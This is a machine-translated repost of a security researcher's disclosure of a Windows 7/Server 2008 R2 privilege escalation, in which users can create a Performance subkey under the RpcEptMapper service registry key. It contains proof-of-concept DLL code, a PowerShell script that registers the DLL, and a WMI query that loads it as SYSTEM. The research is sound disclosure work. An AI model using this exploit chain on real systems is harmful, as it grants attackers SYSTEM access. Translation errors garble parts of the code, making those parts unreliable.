Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What does PrivescCheck mean?

2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >

Share

Shulou(Shulou.com)05/31 Report--

This article is to share with you about what PrivescCheck means. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

PrivescCheck is an updated and extended version of the well-known PowerUp, which can enumerate the security configuration of common Windows errors in the target Windows system. If you have ever run this script on Windows 7 or Windows Server 2008 R2, you may notice strange recurring results, and you may think, as I do, that it is a false alarm, but it is actually a vulnerability.

Since the beginning of this year, I have been studying the privilege upgrade enumeration script: PrivescCheck. With this script, I just want to be able to quickly enumerate potential vulnerabilities caused by system configuration errors, but it actually produces some unexpected results, such as enabling me to find a lot of zero-day vulnerabilities in Windows 7 / Server 2008R2!

Assuming that a Windows device is fully patched, one of the main security issues that can lead to local privilege escalation is misconfiguration of the service. If the average user can modify an existing service, arbitrary code can be executed in the context of the local / network service or even the local system. Here are some of the most common vulnerabilities:

1. Service Control Manager (SCM): you can grant service-specific permissions to low-privileged users through SCM. For example, the average user can start the Windows update service with the command sc.exe start wuauserv, thanks to the SERVICE_START permission, which is a very common scenario. However, if the user has a SERVICE_CHANGE_CONFIG, he or she will be able to change the behavior of the service and make it run any executable.

two。 Binary permissions: a typical Windows service usually has a command line associated with it. If you can modify the corresponding executable file or if you have write permission in the parent folder, you can basically do whatever you need in the security context of the service.

3. Unreferenced paths: this issue is related to the way Windows parses the command line. For example, a virtual service with the following command line: C:\ Applications\ Custom service\ service.exe / v. This command line is ambiguous, so Windows will first try to execute C:\ Applications\ Custom.exe with Service\ service.exe as the first argument and / v as the second argument. If an ordinary user has write permission in C:\ Applications, the service can be hijacked by copying a malicious executable to C:\ Applications\ Custom.exe. This is why paths should always be enclosed in quotation marks, especially if they contain spaces: "C:\ Applications\ Custom Service\ service.exe" / v.

4. Virtual DLL hijacking and writable% PATH% folder: even in the default installation of Windows, some built-in services attempt to load DLL that does not exist. This is not a vulnerability in itself, but if one of the folders listed in the% PATH% environment variable can be written by an ordinary user, these services could be hijacked.

Each of these potential security issues has been checked in PowerUp, but in another case, a configuration error may occur: the registry. Typically, when you create a service, you can do this by invoking the service control manager as an administrator using the built-in command sc.exe. This creates a subkey with the service name in HKLM\ SYSTEM\ CurrentControlSet\ Services and saves all settings (command line, user, and so on) in that subkey. Therefore, if these settings are managed by SCM, they should be secure by default.

Check registry permissions

One of the core functions of PowerUp is Get-ModifiablePath. The basic idea of this function is to provide a general way to check whether the current user can modify files or folders in any way (for example, AppendData/AddSubdirectory). It does this by parsing the ACL of the target object and comparing it with the permissions granted to the current user account through all the groups to which it belongs. Although this principle was originally implemented for files and folders, registry keys are also security objects. Therefore, you can implement a similar function to check whether the current user has write access to the registry key. That's exactly what I did, so I added a new core function: Get-ModifiableRegistryPath.

Then, checking the modifiable registry key corresponding to the Windows service is as easy as invoking the Get-ChildItem PowerShell command on the path Registry:: HKLM\ SYSTEM\ CurrentControlSet\ Services. The result can be simply piped to the new Get-ModifiableRegistryPath command, that's all.

When I need to implement a new check, I use the Windows 10 device, and I also use the same device for initial testing to see if everything works as expected. When the code is stable, I extend the tests to several other Windows vm to make sure it is still compatible with PowerShell v2 and can still run on older systems. The operating systems I use most frequently for this purpose are Windows 7 Windows 2008 R2 and Windows Server 2012 R2.

When I run the updated script on the default installation of Windows 10, it returns nothing, which is what I expect. I ran it on Windows 7 and saw the following results:

Since I didn't expect the script to produce any results, I first thought these were false positives and there were some operational errors in the implementation process. However, I looked at the results carefully and found that none of these were false positives.

False alarm?

Depending on the output of the script, the current user has certain write permissions for the two registry keys:

HKLM\ SYSTEM\ CurrentControlSet\ Services\ Dnscache HKLM\ SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper

Let's use regedit GUI to manually check the permissions of the RpcEptMapper service, and I like the valid permissions tab of the advanced security settings window very much. You can select any user name or group name and immediately check the valid permissions granted to the principal without having to check all ACE separately. The following screenshot shows the results of the low-privilege lab user account.

Most permissions are standard permissions (for example, query values), but one of them is particularly prominent: creating subkeys. The common name corresponding to this permission is AppendData / AddSubdirectory, which is the name of the script report:

Name: RpcEptMapper ImagePath: C:\ Windows\ system32\ svchost.exe-k RPCSS User: NT AUTHORITY\ NetworkService ModifiablePath: {Microsoft.PowerShell.Core\ Registry::HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper} IdentityReference: NT AUTHORITY\ Authenticated Users Permissions: {ReadControl, AppendData/AddSubdirectory ReadData/ListDirectory} Status: Running UserCanStart: True UserCanRestart: False Name: RpcEptMapper ImagePath: C:\ Windows\ system32\ svchost.exe-k RPCSS User: NT AUTHORITY\ NetworkService ModifiablePath: {Microsoft.PowerShell.Core\ Registry::HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper} IdentityReference: BUILTIN\ Users Permissions: {WriteExtendedAttributes, AppendData/AddSubdirectory ReadData/ListDirectory} Status: Running UserCanStart: True UserCanRestart: False

What on earth does that mean? This means that we cannot just modify the ImagePath value. To do this, we need WriteData / AddFile permissions. Instead, we can only create a new subkey.

Does this mean that it is indeed a false alarm? Of course not.

RTFM

At this point, we know that any subkey can be created under HKLM\ SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper, but the existing subkey and value cannot be modified. These existing subitems are "parameters" and "security", which are very common in Windows services.

So the first question that comes to mind is: are there any other predefined subitems, such as parameters and security, that we can use to effectively modify the configuration of the service and change its behavior in any way?

To answer this question, my original plan was to enumerate all existing items and try to identify patterns, in order to see which subitems are meaningful for the configuration of the service. I started thinking about how to implement it in PowerShell and then sorted the results. However, before I do this, I want to know if this registry structure has been documented. So I used Google to search for a registry site similar to the Windows service configuration: microsoft.com, which was the first result to appear.

At first glance, the document does not seem to be exhaustive and complete. Considering the title, I would like to see some kind of tree structure that details all the subitems and values that define the service configuration, but obviously does not exist.

Nevertheless, I skimmed through each paragraph. Moreover, I soon found the key words "Performance" and "DLL". Under the subheading "Performance", we can read the following:

Performance: an item that specifies optional performance monitoring information. The values under this item specify the name of the driver performance DLL and the names of some exported functions in that DLL. You can add value items to this subitem using the AddReg item in the driver INF file.

Therefore, it is theoretically possible to register DLL with the driver service through the Performance subkey to monitor its performance. Okay, this is really interesting! This does not exist by default for RpcEptMapper services, so it seems to be just what we need. However, there is a small problem, this service is definitely not a driver service. In any case, it's still worth trying, but we need more information about this "performance monitoring" feature first.

Note: in Windows, each service has a given type. The service type can be one of the following values: SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256).

After searching the Internet, I found this resource in the documentation: creating performance items for the application.

First, there is a good tree structure that lists all the items and values that we have to create:

The library value can contain the DLL name or the full path to DLL

The Open, Collect, and cloth values allow you to specify the name of the function that DLL should export

The data type of these values is REG_SZ (or even REG_EXPAND_SZ for library values).

If you follow the links included in this resource, you can even find prototypes of these functions and some code examples: implementing OpenPerformanceData.

I think the theory is enough, it's time to start writing some code!

Write a proof of concept

Since I can collect bits and pieces throughout the document, writing a simple proof-of-concept DLL should be very simple. But we still need a plan!

When I need to exploit some kind of DLL hijacking vulnerability, I usually start with a simple custom log helper function. The purpose of this function is to write some related information to the file each time the file is called. Typically, I record the PID of the current process and the parent process, the user name of the running process, and the corresponding command line. I also recorded the name of the function that triggered this log event so that I knew which part of the code was executed.

Start Visual Studio and create a new "C + Console App" project. Note that I could have created a dynamic Link Library (DLL) project, but I found it actually easier to start with a console application.

The following is the initial code generated by Visual Studio:

Of course, that's not what we want. We are going to create a DLL instead of EXE, so we have to replace the main function with DllMain, and you can find the framework code for this function in the initialization DLL document.

At the same time, we need to change the settings of the project to specify that the output compilation file should be DLL instead of EXE. To do this, you can open the project properties and in the "General" section, select "Dynamic Library (.dll)" as the "configuration type". Directly below the title bar, you can also select "all configurations" and "all platforms" so that you can apply this setting globally.

Next, add my custom log helper feature.

# include / / UNLEN + GetUserName # include / / CreateToolhelp32Snapshot () # include void Log (LPCWSTR pwszCallingFrom) {LPWSTR pwszBuffer, pwszCommandLine; WCHAR wszUsername [UNLEN + 1] = {0}; SYSTEMTIME st = {0}; HANDLE hToolhelpSnapshot; PROCESSENTRY32 stProcessEntry = {0}; DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; BOOL bResult = FALSE; / / Get the command line of the current process pwszCommandLine = GetCommandLine () / / Get the name of the process owner GetUserName (wszUsername, & dwPcbBuffer); / / Get the PID of the current process dwProcessId = GetCurrentProcessId (); / / Get the PID of the parent process hToolhelpSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0); stProcessEntry.dwSize = sizeof (PROCESSENTRY32); if (Process32First (hToolhelpSnapshot, & stProcessEntry)) {do {if (stProcessEntry.th42ProcessID = = dwProcessId) {dwParentProcessId = stProcessEntry.th42ParentProcessID Break;}} while (Process32Next (hToolhelpSnapshot, & stProcessEntry));} CloseHandle (hToolhelpSnapshot); / / Get the current date and time GetLocalTime (& st); / / Prepare the output string and log the result dwBufSize = 4096 * sizeof (WCHAR); pwszBuffer = (LPWSTR) malloc (dwBufSize) If (pwszBuffer) {StringCchPrintf (pwszBuffer, dwBufSize, L "[% .2u:% .2u:% .2u]-PID=%d-PPID=%d-USER='%s'-CMD='%s'-METHOD='%s'\ r\ n", st.wHour, st.wMinute, st.wSecond, dwProcessId, dwParentProcessId, wszUsername, pwszCommandLine PwszCallingFrom) LogToFile (L "C:\\ LOGS\\ RpcEptMapperPoc.log", pwszBuffer); free (pwszBuffer);}}

We can then populate the DLL with the three functions we saw in the document. The document also indicates that if successful, they should return ERROR_SUCCESS.

Now that the project is configured correctly, DllMain has been implemented, and we have a log helper function and three necessary functions. But there's one last thing missing. If we compile this code, OpenPerfData, CollectPerfData, and ClosePerfData will only be available as internal functions, so we need to export them. This can be done in several ways. For example, you can create a DEF file and configure the project appropriately. However, I prefer to use the _ _ declspec (dllexport) keyword, especially for small projects like this. In this way, we only need to declare these three functions at the beginning of the source code.

Extern "C" _ declspec (dllexport) DWORD APIENTRY OpenPerfData (LPWSTR pContext); extern "C" _ declspec (dllexport) DWORD APIENTRY CollectPerfData (LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); extern "C" _ declspec (dllexport) DWORD APIENTRY ClosePerfData ()

If you want to see the complete code, please click here. This will generate our DLL file:.\ DllRpcEndpointMapperPoc\ x64\ Release\ DllRpcEndpointMapperPoc.dll

Test PoC

Before continuing, I always test separately to make sure my payload is working properly, and the main purpose is to prevent you from falling into a dead end during the hypothetical debugging phase. To do this, we can simply use rundll32.exe and pass the name of the DLL and the name of the exported function as parameters.

C:\ Users\ lab-user\ Downloads\ > rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

Now that the log file has been created, if you open it, we can see two entries. The first one is written when rundll32.exe loads DLL. The second one is written when you call OpenPerfData.

[21:25:34]-PID=3040-PPID=2964-USER='lab-user'-CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData'-METHOD='DllMain' [21:25:34]-PID=3040-PPID=2964-USER='lab-user'-CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData'-METHOD='OpenPerfData'

Now we can focus on the actual vulnerabilities and start by creating the required registry keys and values. We can do this either manually using reg.exe / regedit.exe or programmatically using scripts. Since I have completed the manual steps in my initial research, I will show a more concise way to do the same using PowerShell scripts. In addition, creating registry keys and values in PowerShell is as easy as calling New-Item and New-ItemProperty, isn't it?

The requested registry access is not allowed, and I haven't studied the exact reason, but my guess is that when we call New-Item, powershell.exe will actually try to open the parent registry key with flags that correspond to our lack of permissions.

In any case, if the built-in cmdlet doesn't complete the task, we can always skip to the next level and call the DotNet function directly. In fact, you can also create a registry key in PowerShell using the following code.

[Microsoft.Win32.Registry]:: LocalMachine.CreateSubKey ("SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper\ Performance")

Finally, I organized the following script to create the appropriate items and values, wait for user input, and eventually terminate by cleaning up everything.

$ServiceKey = "SYSTEM\ CurrentControlSet\ Services\ RpcEptMapper\ Performance" Write-Host "[*] Create 'Performance' subkey" [void] [Microsoft.Win32.Registry]:: LocalMachine.CreateSubKey ($ServiceKey) Write-Host "[*] Create' Library' value" New-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Library"-Value "$($pwd)\ DllRpcEndpointMapperPoc.dll"-PropertyType "String"-Force | Out-Null Write-Host "[*] Create 'Open' value" New- ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Open"-Value "OpenPerfData"-PropertyType "String"-Force | Out-Null Write-Host "[*] Create 'Collect' value" New-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Collect"-Value "CollectPerfData"-PropertyType "String"-Force | Out-Null Write-Host "[*] Create' Close' value" New-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Close" -Value "ClosePerfData"-PropertyType "String"-Force | Out-Null Read-Host-Prompt "Press any key to continue" Write-Host "[*] Cleanup" Remove-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Library"-Force Remove-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Open"-Force Remove-ItemProperty-Path "HKLM:$ ($ServiceKey)"-Name "Collect"-Force Remove-ItemProperty-Path "HKLM:$ ($ServiceKey) -Name "Close"-Force [Microsoft.Win32.Registry]:: LocalMachine.DeleteSubKey ($ServiceKey)

Finally, how do we trick the RPC endpoint mapper service into loading our Performace DLL? Unfortunately, I didn't record everything I tried. But it's not surprising that you can use WMI (Windows Management Specification) to query performance counters. The counter type class displays as the CounterType qualifier for the property, and in the Win32_PerfFormattedData class as the CookingType qualifier for the property.

Therefore, I first enumerated the Performace Data-related WMI classes in PowerShell using the following command.

Get-WmiObject-List | Where-Object {$_ .Name-Like "Win32_Perf*"}

Also, I saw that my log file was created almost immediately! Here are the contents of the file.

[21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='DllMain' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='OpenPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD=' CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe' -METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse Exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem \ wmiprvse.exe'-METHOD='CollectPerfData' [21:17:49]-PID=4904-PPID=664-USER='SYSTEM'-CMD='C:\ Windows\ system32\ wbem\ wmiprvse.exe'-METHOD='CollectPerfData'

I expect at most arbitrary code to be executed in the context of a RpcEptMapper service in the form of a web service, but it seems that my results are much better than expected. In fact, I executed arbitrary code in the context of the WMI service itself, which runs on the local system. Note: if I execute arbitrary code as NETWORK SERVICE, I will only get a token from my local system account, thanks to James Forshaw's article "Sharing a Logon Session a Little Too Much" published a few months ago.

I also tried to get each WMI class separately and observed exactly the same result.

Get-WmiObject Win32_Perf Get-WmiObject Win32_PerfRawData Get-WmiObject Win32_PerfFormattedData, thank you for your reading! This is the end of this article on "what does PrivescCheck mean?". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it for more people to see!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Servers

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report